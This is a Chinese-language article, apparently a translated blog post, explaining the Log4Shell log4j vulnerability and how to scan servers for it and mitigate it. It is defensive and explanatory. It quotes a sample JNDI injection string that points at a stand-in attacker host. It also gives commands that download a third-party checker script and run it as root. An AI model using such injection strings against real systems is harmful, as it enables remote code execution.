如何检查您的服务器是否容易受到 log4j Java 漏洞利用 (Log4Shell) 的影响

如何检查您的服务器是否容易受到 log4j Java 漏洞利用 (Log4Shell) 的影响
在广泛使用的 Java 库中发现了一个关键漏洞,当服务器管理员争先恐后地修复它时,它扰乱了大部分互联网。易受攻击的组件log4j到处都用作包含的库,因此您需要检查服务器并确保它们已更新。

这个漏洞是如何工作的?

就漏洞利用而言,漏洞log4j 是过去几年中最严重的漏洞 之一,在CVSS 量表上获得罕见的 10/10 得分,并将在未来多年困扰整个互联网。

更糟糕的是,log4j 它不是一个应用程序——它是一个被许多其他应用程序使用的开源库。您可能没有直接安装它;它可能包含在其他.jar 文件中,或由其他应用程序作为依赖项安装。

本质上,它允许攻击者向您的应用程序发送文本,如果它在某处记录它(例如,在 Web 服务器中记录用户控制的代理字符串),您的服务器将执行恶意代码。文本格式类似于以下示例:一个极其简单的字符串,其中包含指向远程地址的链接。

${jndi:ldap://attacker.com/a}

中的易受攻击的组件log4j 是 Java 命名和目录接口,它允许日志框架发出远程请求。除了它还在该端点反序列化文件,并且能够加载.class 包含远程代码的文件。这是不好的。

我易受攻击吗?

该漏洞在log4j最新版本 2.16.0中很快得到了修补,但问题并没有修复它——而是找出您需要修复的地方。由于log4j 是嵌入式依赖项,因此在您的系统上搜索它的特定版本可能并非易事。而且,由于 Java 如此流行,许多第三方工具和组件可能会使用它,因此您甚至可能不 知道您的机器上是否正在运行 Java 软件。

即使您认为自己不易受到攻击,您可能仍需要仔细检查. 此漏洞利用影响了如此多的系统,您很有可能在不知不觉中运行log4j Java 或 Java。

幸运的是,JDK 版本大于 6u211、 7u201、 8u191、 并且 11.0.1 不受目前最常被利用的主要攻击媒介(使用 LDAP)的影响。无论如何,您仍然需要修补它,因为它也可以很容易地与其他攻击媒介一起使用。此外,仅向端点发出请求的简单行为就可以揭示有关网络上机器的数据,这也不是一件好事。

这个漏洞凸显了为什么保留软件材料清单 (SBOM) 很重要,SBOM 基本上是系统上所有软件的列表,它来自哪里,以及它是由什么制成的。将来,这些知识可以帮助您快速修补此类攻击。

目前,您可能只关心如何修补您的网络。为此,您需要扫描系统以查找log4j 软件使用的版本,并列出所有易受攻击的组件。

扫描您的系统

许多人已经编写了脚本来自动扫描系统中的漏洞安装,例如这个流行的用 Python 编写的脚本,以及这个来自安全公司 LunaSec 的脚本。最容易使用的一个是这个简单的 bash 脚本,它可以扫描您的包并识别log4j 版本,还可以告诉您您的系统是否甚至首先使用 Java。在大多数情况下,您需要使用不同的脚本运行多次扫描,因为不能保证其中任何一个在识别每个易受攻击的系统方面都 100% 有效。

您可以下载它并使用一些命令运行它。这需要以 root 身份运行才能扫描您的整个系统,所以当然,请注意您在 Internet 上使用 root 权限运行哪些脚本。这也是任意代码执行。

wget https://raw.githubusercontent.com/rubo77/log4j_checker_beta/main/log4j_checker_beta.sh -q
chmod +x log4j_checker_beta.sh
sudo ./log4j_checker_beta.sh

这个脚本的结果突出了是什么让这个 log4j 漏洞如此可怕——在我的个人服务器上运行这个发现我很容易受到攻击,在零日之后的几天,尽管我认为我没有在这台机器上安装 Java 因为我’我没有运行任何我自己的 Java 软件。

Elasticsearch 在这台机器的后台运行,它是用 Java 编写的。我不必手动安装 Java 来安装 Elasticsearch;它包含一个捆绑版本的 OpenJDK。它包含log4j 在此安装中并且容易受到攻击。

如何检查您的服务器是否容易受到 log4j Java 漏洞利用 (Log4Shell) 的影响

至少对于 Elasticsearch 而言,修复方法是更新所有软件包并遵循其缓解指南。您运行的任何软件都可能是这种情况;您需要log4j 直接更新、更新捆绑它的软件,或者使用其他人正在使用的任何最佳实践缓解措施对其进行修补。

如果由于某种原因无法修补 jar,您可以使用这个 JVM 标志来缓解这个问题,它只是告诉log4j在格式化消息时不要进行任何查找。但是不建议这样做,您应该尝试在log4j 任何可以完全解决问题的地方安装 2.16.0。

-Dlog4j2.formatMsgNoLookups=true
上一篇:Java中的Exception


下一篇:Qt 异常处理 QT_TRY和QT_CATCH